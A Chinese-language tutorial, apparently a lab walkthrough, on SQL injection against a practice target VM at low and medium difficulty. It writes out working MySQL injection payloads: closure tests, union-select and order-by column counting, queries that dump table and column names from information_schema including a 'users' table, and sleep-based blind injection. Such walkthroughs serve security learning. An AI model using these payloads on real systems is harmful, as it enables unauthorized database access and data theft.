1. 程式人生 > 實用技巧 >SQL Injection

SQL Injection

環境

虛擬機器 :VMFusion 11.5.0 專業版

使用VMFusion載入OAWAS靶機虛擬機器檔案。

low難度

判斷是否存在注入點,主要分為顯示(報錯)注入和延時注入(盲注)。

輸入引數1,頁面正常有回顯位,輸入的內容在url中可見,說明是get型別傳參,引數是id

檢視閉合方式

1 and 1=2 不報錯,正常顯示,不是整型閉合。

1' and 1=2 報錯 說明'語法錯誤

1' and 1=2 -- 頁面不顯示內容,但是沒有法語錯誤。可以得到閉合方式為'

報錯注入 頁面返回錯誤資訊

檢視欄位數

方法一:聯合查詢方式 select 使用數字代替欄位迴圈判斷直至不報錯(mysql 5.0一下不支援)

1' union select 1 --

1' union select 1 ,2 --

方法二:使用order by 識別 與union相似

1' order by 3 --

1' order by 2 --

得到欄位數為:2

查詢庫、表、欄位相關資訊。資料庫版本version(),當前使用者user() ,當前資料庫database()

1' union select user(),concat(version(),' ',database())--

查詢當前資料庫的所有表;
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --

查詢users表中的所有欄位;
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --

medium

檢視閉合方式

嘗試單引號閉合

1' and 1=2 --

發現單引號被轉義 ,整型閉合方式

知道了閉合方式後,其餘步驟與low的一樣。

盲注

在判斷注入的時候加入and sleep(5) -- ' 語句

判斷欄位 select 疊加數字

1' union select 1 and sleep(5) -- ' 不顯示網頁載入狀態

1' union select 1,2 and sleep(5) -- ' 顯示網頁載入狀態 ,即可知道欄位數為2個。

Extras

https://websec.ca/kb/sql_injection